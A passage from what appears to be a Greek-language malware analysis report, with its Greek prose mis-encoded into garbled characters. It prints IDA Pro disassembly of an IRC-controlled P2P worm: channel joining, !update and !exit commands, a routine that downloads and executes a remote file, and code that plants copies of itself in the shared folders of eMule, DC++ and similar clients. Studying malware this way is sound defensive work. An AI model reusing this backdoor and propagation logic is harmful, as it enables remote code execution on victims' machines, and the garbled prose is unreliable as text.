.text:00402D32                 mov     edi, eax 

.text:00402D34                 or      eax, eax 

.text:00402D36                 jz      short loc_402D91 

.text:00402D38                 push    offset asc_4058C1 ; ":" 

.text:00402D3D                 push    edi             ; char * 

.text:00402D3E                 call    strtok 

.text:00402D43                 push    offset asc_4058BE ; "\r\n" 

.text:00402D48                 push    0               ; char * 

.text:00402D4A                 call    strtok 

.text:00402D4F                 mov     edi, eax 

.text:00402D51                 push    offset aTibicP2p3 ; "##TIBiC-P2P3##" 

.text:00402D56                 push    offset aTibicP2p3 ; "##TIBiC-P2P3##" 

.text:00402D5B                 push    edi 

.text:00402D5C                 push    offset aPongSJoinS ; "PONG :%s\r\nJOIN %s\r\n" 

.text:00402D61                 lea     eax, [ebp+String] 

.text:00402D67                 push    eax             ; LPSTR 

.text:00402D68                 call    wsprintfA 

.text:00402D6D                 add     esp, 24h 

.text:00402D70                 lea     eax, [ebp+String] 

.text:00402D76                 push    eax             ; lpString 

.text:00402D77                 call    lstrlenA 

.text:00402D7C                 push    0               ; flags 

.text:00402D7E                 push    eax             ; len 

.text:00402D7F                 lea     edx, [ebp+String] 

.text:00402D85                 push    edx             ; buf 

.text:00402D86                 push    esi             ; s 

.text:00402D87                 call    send 
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.text:00402D8C                 jmp     loc_402F09 
………. 
.text:00402D91 ; --------------------------------------------------------------------------- 
.text:00402D91 
.text:00402D91 loc_402D91:                             ; CODE XREF: sub_4029B3+383j 
.text:00402D91                 push    offset aPrivmsg ; "PRIVMSG " 
.text:00402D96                 lea     eax, [ebp+String] 
.text:00402D9C                 push    eax 
.text:00402D9D                 call    sub_40304C 
.text:00402DA2                 add     esp, 8 
.text:00402DA5                 mov     edi, eax 
.text:00402DA7                 or      eax, eax 
.text:00402DA9                 jz      loc_402F09 
.text:00402DAF                 push    offset asc_4058C1 ; ":" 
.text:00402DB4                 push    edi             ; char * 
.text:00402DB5                 call    strstr 
.text:00402DBA                 add     esp, 8 
.text:00402DBD                 or      eax, eax 
.text:00402DBF                 jz      loc_402F09 
.text:00402DC5                 push    offset asc_4058C1 ; ":" 
.text:00402DCA                 push    edi             ; char * 
.text:00402DCB                 call    strtok 
.text:00402DD0                 push    offset asc_4058BE ; "\r\n" 
.text:00402DD5                 push    0               ; char * 
.text:00402DD7                 call    strtok 
.text:00402DDC                 add     esp, 10h 
.text:00402DDF                 mov     edi, eax 
.text:00402DE1                 cmp     byte ptr [edi], 21h 
.text:00402DE4                 jnz     loc_402F09 
.text:00402DEA                 push    offset aUpdate  ; "update " 
.text:00402DEF                 push    edi 
.text:00402DF0                 call    sub_40304C 
.text:00402DF5                 add     esp, 8 
.text:00402DF8                 or      eax, eax 
.text:00402DFA                 jz      loc_402EB3 
.text:00402E00                 push    offset asc_405897 ; " " 
.text:00402E05                 push    edi             ; char * 
.text:00402E06                 call    strtok 
.text:00402E0B                 push    offset byte_405895 ; char * 
.text:00402E10                 push    0               ; char * 
.text:00402E12                 call    strtok 
.text:00402E17                 add     esp, 10h 
.text:00402E1A                 mov     edi, eax 
.text:00402E1C                 or      edi, edi 
.text:00402E1E                 jz      loc_402F09 
.text:00402E24                 push    0FFh            ; uSize 
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.text:00402E29                 lea     eax, [ebp+buf] 

.text:00402E2F                 push    eax             ; lpBuffer 

.text:00402E30                 call    GetSystemDirectoryA 

.text:00402E35                 mov     [ebp+var_4C0], esi 

.text:00402E3B                 and     [ebp+var_4BC], 0 

.text:00402E42                 push    edi 

.text:00402E43                 push    offset aS       ; "%s" 

.text:00402E48                 lea     eax, [ebp+Parameter] 

.text:00402E4E                 push    eax             ; LPSTR 

.text:00402E4F                 call    wsprintfA 

.text:00402E54                 push    100h 

.text:00402E59                 lea     eax, [ebp+var_314] 

.text:00402E5F                 push    eax 

.text:00402E60                 call    sub_40129C 

.text:00402E65                 push    eax 

.text:00402E66                 lea     edx, [ebp+buf] 

.text:00402E6C                 push    edx 

.text:00402E6D                 push    offset aSS_exe  ; "%s\\%s.exe" 

.text:00402E72                 lea     edx, [ebp+var_5C0] 

.text:00402E78                 push    edx             ; LPSTR 

.text:00402E79                 call    wsprintfA 

.text:00402E7E                 add     esp, 24h 

.text:00402E81                 lea     eax, [ebp+ThreadId] 

.text:00402E87                 push    eax             ; lpThreadId 

.text:00402E88                 push    0               ; dwCreationFlags 

.text:00402E8A                 lea     eax, [ebp+Parameter] 

.text:00402E90                 push    eax             ; lpParameter 

.text:00402E91                 push    offset sub_401347 ; lpStartAddress 

.text:00402E96                 push    0               ; dwStackSize 

.text:00402E98                 push    0               ; lpThreadAttributes 

.text:00402E9A                 call    CreateThread 

.text:00402E9F                 jmp     short loc_402EA8 

.text:00402EB3 ; --------------------------------------------------------------------------- 

.text:00402EB3 

.text:00402EB3 loc_402EB3:                             ; CODE XREF: sub_4029B3+447j 

.text:00402EB3                 push    offset aExit    ; "exit" 

.text:00402EB8                 push    edi 

.text:00402EB9                 call    sub_40304C 

.text:00402EBE                 add     esp, 8 

.text:00402EC1                 or      eax, eax 

.text:00402EC3                 jz      short loc_402F09 

.text:00402EC5                 push    edi 

.text:00402EC6                 push    offset aTibicP2p3 ; "##TIBiC-P2P3##" 

.text:00402ECB                 push    offset aQuitExiting ; "QUIT :Exiting\r\n" 

.text:00402ED0                 lea     eax, [ebp+buf] 

.text:00402ED6                 push    eax             ; LPSTR 
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.text:00402ED7                 call    wsprintfA 

.text:00402EDC                 add     esp, 10h 

.text:00402EDF                 lea     eax, [ebp+buf] 

.text:00402EE5                 push    eax             ; lpString 

.text:00402EE6                 call    lstrlenA 

.text:00402EEB                 push    0               ; flags 

.text:00402EED                 push    eax             ; len 

.text:00402EEE                 lea     edx, [ebp+buf] 

.text:00402EF4                 push    edx             ; buf 

.text:00402EF5                 push    esi             ; s 

.text:00402EF6                 call    send 

.text:00402EFB                 push    3E8h            ; dwMilliseconds 

.text:00402F00                 call    Sleep 

.text:00402F05                 xor     eax, eax 

.text:00402F07                 jmp     short loc_402F36 

.text:00402F09 ; --------------------------------------------------------------------------- 
 
Σε απηό ην ζεκείν είλαη θαλεξό πσο όηαλ ην malware ζπλδεζεί ζηνλ irc-server θαη ιάβεη 

κηα απάληεζε PING, επηρεηξεί λα ζπλδεζεί ζην θαλάιη ##TIBiC-P2P3##. Σηελ ζπλέρεηα 

δέρεηαη κία εληνιή θαη ηελ ζπγθξίλεη κε ηελ PRIVMSG ε νπνία ιακβάλεηαη πάληα όηαλ ν 

client ελόο irc-channel δέρεηαη έλα ηδησηηθό κήλπκα (private message). Η απάληεζε πνπ 

ιακβάλεη ζπγθξίλεηαη κε ζεκεία ζηίμεο γηα λα βξεζεί αλ πξόθεηηαη γηα θείκελν. Μάιηζηα 

από ηελ εληνιή cmp byte ptr [edi], 21h θαίλεηαη πσο ζπγθξίλεη ηνλ πξώην ραξαθηήξα κε 

ην ! ην νπνίν αληηζηνηρεί ζην 0x21 θαηά ascii. Τν ! ινηπόλ θαίλεηαη πσο δειώλεη ηελ 

αξρή εηδηθήο εληνιήο. Η εηδηθή απηή εληνιή πξέπεη λα είλαη ε update όπσο θαίλεηαη ζηελ 

ζέζε κλήκεο  00402DEA θαη ε exit πνπ θαίλεηαη ζηελ ζέζε κλήκεο 00402EB3. Η θιήζε 

ζηελ εληνιή GetSystemDirectoryA θαη ε push "%s\\%s.exe" νδεγνύλ ζην ζπκπέξαζκα 

πσο δεκηνπξγείηαη έλα εθηειέζηκν κε ηπραίν κάιηζηα όλνκα. Λνγηθά κεηά ηελ εληνιή 

update απηό θαηεβαίλεη από ην δηαδίθηπν. Τέινο δεκηνπξγείηαη έλα θαηλνύξην Thread 

(Create Thread) ην νπνίν καο νδεγεί ζην παξαθάησ θνκκάηη θώδηθα ζηελ δηεύζπλζε 

401347 (push sub_401347):  

 

.text:00401347 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ 

.text:00401347 

.text:00401347 ; Attributes: bp-based frame 

.text:00401347 

.text:00401347 ; DWORD __stdcall sub_401347(LPVOID) 

.text:00401347 sub_401347      proc near               ; DATA XREF: 
sub_4029B3+4DEo 
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.text:00401347 

.text:00401347 buf             = byte ptr -518h 

.text:00401347 hInternet       = dword ptr -418h 

.text:00401347 szUrl           = byte ptr -414h 

.text:00401347 File            = byte ptr -314h 

.text:00401347 s               = dword ptr -214h 

.text:00401347 NumberOfBytesWritten= dword ptr -20Ch 

.text:00401347 hObject         = dword ptr -208h 

.text:00401347 nNumberOfBytesToWrite= dword ptr -204h 

.text:00401347 Buffer          = dword ptr -200h 

.text:00401347 arg_0           = dword ptr  8 

.text:00401347 

.text:00401347                 push    ebp 

.text:00401348                 mov     ebp, esp 

.text:0040134A                 sub     esp, 518h 

.text:00401350                 push    ebx 

.text:00401351                 push    esi 

.text:00401352                 push    edi 

.text:00401353                 lea     edi, [ebp+szUrl] 

.text:00401359                 mov     esi, [ebp+arg_0] 

.text:0040135C                 mov     ecx, 82h 

.text:00401361                 rep movsd 

.text:00401363                 mov     ebx, [ebp+arg_0] 

.text:00401366                 mov     dword ptr [ebx+204h], 1 

.text:00401370                 push    0               ; dwFlags 

.text:00401372                 push    0               ; lpszProxyBypass 

.text:00401374                 push    0               ; lpszProxy 

.text:00401376                 push    0               ; dwAccessType 

.text:00401378                 push    offset szAgent  ; "Mozilla/4.0 (compatible)" 

.text:0040137D                 call    InternetOpenA 

.text:00401382                 mov     [ebp+hInternet], eax 

.text:00401388                 push    0               ; dwContext 

.text:0040138A                 push    0               ; dwFlags 

.text:0040138C                 push    0               ; dwHeadersLength 

.text:0040138E                 push    0               ; lpszHeaders 

.text:00401390                 lea     eax, [ebp+szUrl] 

.text:00401396                 push    eax             ; lpszUrl 

.text:00401397                 push    [ebp+hInternet] ; hInternet 

.text:0040139D                 call    InternetOpenUrlA 

.text:004013A2                 mov     ebx, eax 

.text:004013A4                 or      ebx, ebx 

.text:004013A6                 jz      loc_4014D0 

.text:004013AC                 push    0               ; hTemplateFile 

.text:004013AE                 push    0               ; dwFlagsAndAttributes 

.text:004013B0                 push    2               ; dwCreationDisposition 

.text:004013B2                 push    0               ; lpSecurityAttributes 
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.text:004013B4                 push    0               ; dwShareMode 

.text:004013B6                 push    40000000h       ; dwDesiredAccess 

.text:004013BB                 lea     eax, [ebp+File] 

.text:004013C1                 push    eax             ; lpFileName 

.text:004013C2                 call    CreateFileA 

.text:004013C7                 mov     [ebp+hObject], eax 

.text:004013CD                 cmp     eax, 1 

.text:004013D0                 jnb     short loc_401414 

.text:004013D2                 push    offset aTibicP2p3 ; "##TIBiC-P2P3##" 

.text:004013D7                 push    offset aPrivmsgSUpdate ; "PRIVMSG %s :Update 
error: File write er"... 
.text:004013DC                 lea     eax, [ebp+buf] 
.text:004013E2                 push    eax             ; LPSTR 
.text:004013E3                 call    wsprintfA 
.text:004013E8                 add     esp, 0Ch 
.text:004013EB                 lea     eax, [ebp+buf] 
.text:004013F1                 push    eax             ; lpString 
.text:004013F2                 call    lstrlenA 
.text:004013F7                 push    0               ; flags 
.text:004013F9                 push    eax             ; len 
.text:004013FA                 lea     edi, [ebp+buf] 
.text:00401400                 push    edi             ; buf 
.text:00401401                 push    [ebp+s]         ; s 
.text:00401407                 call    send 
.text:0040140C                 xor     eax, eax 
.text:0040140E                 inc     eax 
.text:0040140F                 jmp     loc_4014D8 
.text:00401414 ; --------------------------------------------------------------------------- 
.text:00401414 
.text:00401414 loc_401414:                             ; CODE XREF: sub_401347+89j 
.text:00401414                                         ; sub_401347+124j 
.text:00401414                 push    200h            ; size_t 
.text:00401419                 push    0               ; int 
.text:0040141B                 lea     eax, [ebp+Buffer] 
.text:00401421                 push    eax             ; void * 
.text:00401422                 call    memset 
.text:00401427                 add     esp, 0Ch 
.text:0040142A                 lea     eax, [ebp+nNumberOfBytesToWrite] 
.text:00401430                 push    eax             ; lpdwNumberOfBytesRead 
.text:00401431                 push    200h            ; dwNumberOfBytesToRead 
.text:00401436                 lea     eax, [ebp+Buffer] 
.text:0040143C                 push    eax             ; lpBuffer 
.text:0040143D                 push    ebx             ; hFile 
.text:0040143E                 call    InternetReadFile 
.text:00401443                 push    0               ; lpOverlapped 
.text:00401445                 lea     eax, [ebp+NumberOfBytesWritten] 
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.text:0040144B                 push    eax             ; lpNumberOfBytesWritten 

.text:0040144C                 push    [ebp+nNumberOfBytesToWrite] ; 
nNumberOfBytesToWrite 
.text:00401452                 lea     eax, [ebp+Buffer] 
.text:00401458                 push    eax             ; lpBuffer 
.text:00401459                 push    [ebp+hObject]   ; hFile 
.text:0040145F                 call    WriteFile 
.text:00401464                 cmp     [ebp+nNumberOfBytesToWrite], 0 
.text:0040146B                 jnz     short loc_401414 
.text:0040146D                 push    [ebp+hObject]   ; hObject 
.text:00401473                 call    CloseHandle 
.text:00401478                 push    5               ; nShowCmd 
.text:0040147A                 push    0               ; lpDirectory 
.text:0040147C                 push    0               ; lpParameters 
.text:0040147E                 lea     eax, [ebp+File] 
.text:00401484                 push    eax             ; lpFile 
.text:00401485                 push    offset Operation ; "open" 
.text:0040148A                 push    0               ; hwnd 
.text:0040148C                 call    ShellExecuteA 
 

 

Από απηό ην θνκκάηη θώδηθα θαίλεηαη πσο ην θαηλνύξγην απηό Thread ρξεζηκνπνηεί ηηο 

ζπλαξηήζεηο ηνπ WInINet (InternetOpenA) θαη ζηελ ζπλέρεηα επηθνηλσλεί κε 

ζπγθεθξηκέλε Url δηεύζπλζε (InternetOpenUrlA), αλνίγεη ζπγθεθξηκέλν αξρείν από 

απηήλ ηελ δηεύζπλζε (InternetReadFile), ην νπνίν ζηελ ζπλέρεηα αληηγξάθεη ζηνλ δίζθν 

(WriteFile) θαη εθηειεί (ShellExecute). Με απηόλ ηνλ ηξόπν ν επηηηζέκελνο κπνξεί λα 

εθηειέζεη δηθό ηνπ θώδηθα ζην κεράλεκα ην νπνίν έρεη πξνζβιεζεί από ην 

ζπγθεθξηκέλν malware. 

Σπλνςίδνληαο ην malware αξρηθά αλαθηά δηεύζπλζε θαη ζύξα επηθνηλσλίαο, δεκηνπξγεί 

ηπραία username θαη passwords κε ηα νπνία ζπλδέεηαη ζην θαλάιη ##TIBiC-P2P3## 

από ην νπνίν ιακβάλεη (από ηνλ επηηηζέκελν) εληνιέο !update θαη !exit. Η exit είλαη 

πξνθαλήο (ηεξκαηηζκόο) ελώ ε update δίλεη εληνιή ζύλδεζεο ζε ζπγθεθξηκέλν Url από 

ην νπνίν ην ζύκα θαηεβάδεη αληηγξάθεη ζηνλ δίζθν θαη ζηελ ζπλέρεηα εθεηειεί 

ζπγθεθξηκέλν αξρείν. 
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Αο δνύκε ζε απηό ην ζεκείν ην Thread πνπ δεκηνπξγείηαη πξίλ ην malware ζπλδεζεί κε 

ηνλ Irc-Server. Η δεκηνπξγία απηνύ ηνπ thread θαιείηαη ζηελ ζέζε κλήκεο 00402BF2 θαη 

νδεγεί ζηελ ζέζε κλήκεο 0040299Β. 

 

text:00402998 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ 
.text:00402998 
.text:00402998 ; Attributes: bp-based frame 
.text:00402998 
.text:00402998 ; DWORD __stdcall StartAddress(LPVOID) 
.text:00402998 StartAddress    proc near               ; DATA XREF: sub_4029B3+236o 
.text:00402998                 push    ebp 
.text:00402999                 mov     ebp, esp 
.text:0040299B 
.text:0040299B loc_40299B:                             ; CODE XREF: StartAddress+12j 
.text:0040299B                 call    sub_4027F2 
.text:004029A0                 push    0EA60h          ; dwMilliseconds 
.text:004029A5                 call    Sleep 
.text:004029AA                 jmp     short loc_40299B 
.text:004029AA StartAddress    endp 
.text:004029AA 
.text:004029AC ; --------------------------------------------------------------------------- 
.text:004029AC                 xor     eax, eax 
.text:004029AE                 inc     eax 
.text:004029AF                 pop     ebp 
.text:004029B0                 retn    4 
. 

Ο θώδηθαο απηόο δελ είλαη ηίπνηα άιιν παξά έλαο ζπλερέο βξόγρνο ν νπνίνο θαιεί ηελ 

ζπλάξηεζε sub_4027F2 αλακέλεη (sleep) θαη ζηελ ζπλέρεηα ηελ μαλαθαιεί (jmp 

short_40299B). Ο θώδηθαο ηεο ζπλάξηεζεο πνπ θαιείηαη είλαη ν παξαθάησ (κνλό ην 

ελδηαθέξνλ ηκήκα ηνπ): 

 

.text:004027F2 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ 
…….. 
.text:0040283B                 push    eax             ; lpSubKey 
.text:0040283C                 push    80000001h       ; hKey 
.text:00402841                 call    RegOpenKeyExA 
.text:00402846                 or      eax, eax 
.text:00402848                 jnz     short loc_402851 
.text:0040284A                 mov     [ebp+var_8], 1 
.text:00402851 
…… 
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.text:00402864                 push    offset SubKey   ; 
"Software\\iMesh\\Client\\LocalContent" 
.text:00402869                 push    80000001h       ; hKey 
.text:0040286E                 call    RegOpenKeyExA 
.text:00402873                 or      eax, eax 
.text:00402875                 jnz     short loc_40287A 
.text:00402877                 xor     edi, edi 
.text:00402879                 inc     edi 
.text:0040287A 
…….. 
.text:0040288D                 push    offset aSoftwareMorphe ; 
"SOFTWARE\\Morpheus" 
.text:00402892                 push    80000002h       ; hKey 
.text:00402897                 call    RegOpenKeyExA 
.text:0040289C                 or      eax, eax 
.text:0040289E                 jnz     short loc_4028A3 
.text:004028A0                 xor     esi, esi 
.text:004028A2                 inc     esi 
……. 
.text:004028DF                 push    offset aSoftwareEmule ; "Software\\eMule" 
.text:004028E4                 push    80000001h       ; hKey 
.text:004028E9                 call    RegOpenKeyExA 
.text:004028EE                 or      eax, eax 
.text:004028F0                 jnz     short loc_4028F9 
.text:004028F2                 mov     [ebp+var_C], 1 
…….. 
.text:0040290C                 push    offset aSoftwareDc ; "SOFTWARE\\DC++" 
.text:00402911                 push    80000002h       ; hKey 
.text:00402916                 call    RegOpenKeyExA 
.text:0040291B                 or      eax, eax 
.text:0040291D                 jnz     short loc_402926 
.text:0040291F                 mov     [ebp+var_10], 1 
……. 
.text:0040292E                 cmp     [ebp+var_8], 1 
.text:00402932                 jz      short loc_40294F 
.text:00402934                 cmp     edi, 1 
.text:00402937                 jz      short loc_40294F 
.text:00402939                 cmp     esi, 1 
.text:0040293C                 jz      short loc_40294F 
.text:0040293E                 cmp     ebx, 1 
.text:00402941                 jz      short loc_40294F 
.text:00402943                 cmp     [ebp+var_C], 1 
.text:00402947                 jz      short loc_40294F 
.text:00402949                 cmp     [ebp+var_10], 1 
.text:0040294D                 jnz     short loc_402954 
.text:0040294F 
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.text:0040294F loc_40294F:                             ; CODE XREF: sub_4027F2+140j 

.text:0040294F                                         ; sub_4027F2+145j ... 

.text:0040294F                 call    sub_4026BA 

.text:00402954 

.text:00402954 loc_402954:                            ; CODE XREF: sub_4027F2+15Bj 
 

Η ζπλάξηεζε απηή ειέγρεη αλ ππάξρεη θαηαρώξεζε θιεηδηώλ ζηελ registry ηα νπνία 

αλαθέξνληαη ζε ζπγθεθξηκέλα πξνγξάκκαηα δηακνηξαζκνύ αξρείσλ, όπσο imesh, 

Morpheus, eMule, DC++. Αλ ππάξρνπλ θαίλεηαη πσο ηίζεηαη ε ηηκή έλα ζε 

ζπγθεθξηκέλνπο θαηαρσξεηέο ή κεηαβιεηέο (edi, esi, ebp+var_C, ebp+var_10) θαη ζηελ 

ζπλέρεηα  αλ ε ηηκή απηή είλαη 1 (κε ηελ εληνιή cmp γίλεηαη ν έιεγρνο) θαιείηαη ε 

ζπλάξηεζε sub_4026BA ηεο νπνίαο ην ελδηαθέξνλ θνκκάηη ηνπ θώδηθα ηεο θαίλεηαη 

παξαθάησ: 

 

.text:004026BA ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ 
…….. 
.text:004026BA                 push    ebp 
.text:004026BB                 mov     ebp, esp 
.text:004026BD                 sub     esp, 400h 
.text:004026C3                 push    ebx 
.text:004026C4                 push    esi 
.text:004026C5                 push    edi 
.text:004026C6                 push    0               ; lpModuleName 
.text:004026C8                 call    GetModuleHandleA 
.text:004026CD                 push    100h            ; nSize 
.text:004026D2                 lea     ebx, [ebp+FileName] 
.text:004026D8                 push    ebx             ; lpFilename 
.text:004026D9                 push    eax             ; hModule 
.text:004026DA                 call    GetModuleFileNameA 
.text:004026DF                 push    100h            ; uSize 
.text:004026E4                 lea     eax, [ebp+Buffer] 
.text:004026EA                 push    eax             ; lpBuffer 
.text:004026EB                 call    GetSystemDirectoryA 
.text:004026F0                 push    off_4040A4 
.text:004026F6                 lea     eax, [ebp+Buffer] 
.text:004026FC                 push    eax 
.text:004026FD                 push    offset aSS      ; "%s\\%s" 
.text:00402702                 lea     eax, [ebp+PathName] 
.text:00402708                 push    eax             ; LPSTR 
.text:00402709                 call    wsprintfA 
.text:0040270E                 add     esp, 10h 
.text:00402711                 push    0               ; lpSecurityAttributes 
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.text:00402713                 lea     eax, [ebp+PathName] 

.text:00402719                 push    eax             ; lpPathName 

.text:0040271A                 call    CreateDirectoryA 
 

Δδώ βιέπνπκε πσο πάιη θαιείηαη ε GetSystemDirectory ε νπνία ζπλδπάδεηαη κε ηελ 

θσδηθνπνηεκέλε ζπκβνινζεηξά (off_4040A4) γηα ηελ νπνία ν IDA Pro καο ελεκεξώλεη 

πσο πξόθεηηαη γηα ηελ ζπκβνινζεηξά msview  όπσο θαίλεηαη θαη παξαθάησ, ε νπνία 

πεξλάεη ζηελ ζπλάξηεζε CreateDirectoryA κε απνηέιεζκα λα δεκηνπξγεζεί έλαο 

θάθεινο ζην System Directory κε όλνκα msview. 

.data:004040A4 off_4040A4      dd offset aMsview       ; DATA XREF: 
sub_4016E6+517r 

.data:004040A4                                         ; sub_401D2F+83r ... 

.data:004040A4                                         ; "msview" 
 

 

Εηθόλα 12. Αποηέιεζκα Αλαδήηεζες θαθέιοσ κε όλοκα msview 
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Σην ζύζηεκα ην νπνίν ρξεζηκνπνηνύκε γηα ηελ αλάιπζε θαη ζην νπνίν έρνπκε ηξέμεη ην 

malware ςάρλνπκε γηα ηνλ ζπγθεθξηκέλν θάθειν ζην System Directory, ην νπνίν ζηελ 

πεξίπησζε ησλ Windows Xp είλαη Windows/system32, θαη όπσο θαίλεηαη ζηελ εηθόλα 

12 ν θάθεινο msview όλησο ππάξρεη (ν θάθεινο απηόο δελ ππάξρεη ζε έλα θαλνληθό κε 

“κνιπζκέλν” ιεηηνπξγηθό ζύζηεκα Windows Xp). 

Σηελ ζπλέρεηα αλνίγνληαο ηνλ θάθειν απηό λα δνύκε ηα πεξηερόκελα ηνπ, 

δηαπηζηώλνπκε πσο πεξηέρεη έλα κεγάιν πιήζνο αξρείσλ (εθηειέζηκσλ ησλ Windows) 

ησλ νπνίσλ ηα νλόκαηα είλαη αθξηβώο απηά ηα νπνία είδακε ζηνλ IDA Pro ζηηο 

ζπκβνινζεηξέο πνπ πεξηέρεη ν θώδηθαο (εηθόλα 13). Τα νλόκαηα ηνπο ζρεηίδνληαη κε 

γλσζηά παηρλίδηα θαη πξνγξάκκαηα ειεθηξνληθώλ ππνινγηζηώλ θαη πξόθεηηαη γηα 

αξρεία ηα νπνία αληηθαζηζηνύλ ηα exe λόκηκσλ ινγηζκηθώλ κε απνηέιεζκα λα 

παξαθάκπηνπλ κεραληζκνύο αζθαιείαο θαη λα εθηεινύληαη θαη από κε λόκηκνπο 

ρξήζηεο. Φπζηθά είλαη ην ίδην ην malware ην νπνίν έρεη αληηγξάςεη ζε πνιιά αληίγξαθα 

κε δηαθνξεηηθά νλόκαηα.  
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Εηθόλα 13. Περηετόκελα ηοσ θαθέιοσ msview 

 

Σηελ ζπλέρεηα πξνρσξώληαο παξαθάησ ζηνλ θώδηθα ηεο ζπλάξηεζεο κέρξη θαη ην 

ηέινο ηεο ζπλάξηεζεο απηήο βιέπνπκε απηό ην ζεκείν ηνπ θώδηθα: 

 

.text:00402954 loc_402954:                             ; CODE XREF: sub_4027F2+15Bj 

.text:00402954                 cmp     [ebp+var_8], 1 

.text:00402958                 jnz     short loc_40295F 

.text:0040295A                 call    sub_4016E6 

.text:0040295F 

.text:0040295F loc_40295F:                             ; CODE XREF: sub_4027F2+166j 

.text:0040295F                 cmp     edi, 1 

.text:00402962                 jnz     short loc_402969 

.text:00402964                 call    sub_401D2F 

.text:00402969 

.text:00402969 loc_402969:                             ; CODE XREF: sub_4027F2+170j 

.text:00402969                 cmp     esi, 1 
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.text:0040296C                 jnz     short loc_402973 

.text:0040296E                 call    sub_401EB9 

.text:00402973 

.text:00402973 loc_402973:                             ; CODE XREF: sub_4027F2+17Aj 

.text:00402973                 cmp     ebx, 1 

.text:00402976                 jnz     short loc_40297D 

.text:00402978                 call    sub_4020E7 

.text:0040297D 

.text:0040297D loc_40297D:                             ; CODE XREF: sub_4027F2+184j 

.text:0040297D                 cmp     [ebp+var_C], 1 

.text:00402981                 jnz     short loc_402988 

.text:00402983                 call    sub_4022FB 

.text:00402988 

.text:00402988 loc_402988:                             ; CODE XREF: sub_4027F2+18Fj 

.text:00402988                 cmp     [ebp+var_10], 1 

.text:0040298C                 jnz     short loc_402993 

.text:0040298E                 call    sub_4024E2 

.text:00402993 

.text:00402993 loc_402993:                             ; CODE XREF: sub_4027F2+19Aj 

.text:00402993                 pop     edi 

.text:00402994                 pop     esi 

.text:00402995                 pop     ebx 

.text:00402996                 leave 

.text:00402997                 retn 

.text:00402997 sub_4027F2      endp 
 

Δδώ παξαηεξνύκε πσο γηα θάζε δηαθνξεηηθό πξόγξακκα δηακνηξαζκνύ αξρείσλ 

(ebp+var_8, edi, esi, ebx, ebp+var_C, ebp+var_10) θαιείηαη κηα μερσξηζηή ζπλάξηεζε. 

Απηέο νη ζπλαξηήζεηο πξνθαλώο ζρεηίδνληαη κε ξπζκίζεηο ηνπ θάζε πξνγξάκκαηνο 

δηακνηξαζκνύ αξρείσλ κε βαζηθή ηελ πξνζζήθε ηνπ θαθέινπ msview ζηελ ιίζηα ησλ 

δηακνηξαδόκελσλ αξρείσλ ηνπ, ώζηε λα πξνσζεζεί ζε άιινπο ρξήζηεο ηνπ δηαδηθηύνπ. 
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Εηθόλα 14. Λίζηα δηακοηραδόκελωλ Αρτείωλ ηοσ DC++ 

Σηηο εηθόλεο 14 θαη 15 βιέπνπκε πσο ν θάθεινο msview θαη θαη’ επέθηαζε θαη ηα 

πεξηερόκελα ηνπ έρνπλ ζπκπεξηιεθζεί απηνκάησο ζηελ ιίζηα ησλ δηακνηξαδόκελσλ 

αξρείσλ ησλ δεκνθηιώλ πξνγξακκάησλ δηακνηξαζκνύ αξρείσλ DC++ θαη Emule. Αμίδεη 

λα παξαηεξεζεί πσο αθόκα θαη αλ δηαγξάςνπκε ηνλ θάθειν απηό από ηελ ιίζηα 

δηακνηξαδόκελσλ αξρείσλ, ν θάθεινο απηόο επαλαηνπνζεηείηαη απηόκαηα ζηελ ιίζηα 

κεηά από επαλεθθίλεζε ησλ πξνγξακκάησλ απηώλ. 
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Εηθόλα 15.  Λίζηα δηακοηραδόκελωλ Αρτείωλ ηοσ Emule 
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4 Δπίλογος – ΢σμπεράζμαηα 

Η δηαδηθαζία πνπ αθνινπζήζακε θαηά ηελ αλάιπζε ηνπ malware, είλαη ε βαζηθή γξακκή 

ε νπνία αθνινπζείηαη θαηά ηελ αλάιπζε ελόο θαθόβνπινπ ινγηζκηθνύ. Φπζηθά αλάινγα 

κε ηελ “θύζε” ηνπ θαθόβνπινπ ινγηζκηθνύ κπνξεί λα κελ είλαη απαξαίηεηεο όιεο νη 

ελέξγεηεο πνπ αθνινπζήζεθαλ ζηελ παξνύζα εξγαζία ή λα ρξεηάδνληαη επηπιένλ 

ηερληθέο αλάιπζεο, νη βαζηθέο αξρέο πάλησο είλαη απηέο νη νπνίεο παξνπζηάζηεθαλ. Μηα 

δπλακηθή αλάιπζε ζε ζπλδπαζκό κε κηα πξνζεθηηθή ζηαηηθή αλάιπζε ε νπνία 

ζπκπεξηιακβάλεη θαη ηελ εμέηαζε ηνπ θώδηθα assembly ηνπ ινγηζκηθνύ, δίλεη ζίγνπξα 

πνιύ ζεκαληηθέο πιεξνθνξίεο ζηνλ αλαιπηή. 

Όζν αθνξά ηελ πεξίπησζε καο, ην θαθόβνπιν ινγηζκηθό ην νπνίν αλαιύζακε είλαη έλα 

worm. Η αλάιπζε έδεημε πσο αληηγξάθεηαη ζην System32 κε ην όλνκα svcnet.exe ην 

νπνίν είλαη θαη ην όλνκα ηεο δηεξγαζίαο θαη δεκηνπξγεί εγγξαθέο ζηελ Registry ώζηε λα 

ηξέρεη απηόκαηα κε ηελ έλαξμε ηνπ ιεηηνπξγηθνύ ζπζηήκαηνο θαη λα πξνβαίλεη ζε 

ιεηηνπξγίεο ζρεηηθά κε ην δηαδίθηπν. Σπλδέεηαη ζε έλαλ irc-server, εηζέξρεηαη (join) ζε 

ζπγθεθξηκέλν θαλάιη θαη από εθεί ν επηηηζέκελνο κπνξεί λα ηξέμεη δηθό ηνπ θώδηθα ζην 

κνιπζκέλν ζύζηεκα νδεγώληαο ην “κνιπζκέλν” ζύζηεκα λα θαηεβάζεη αξρεία από 

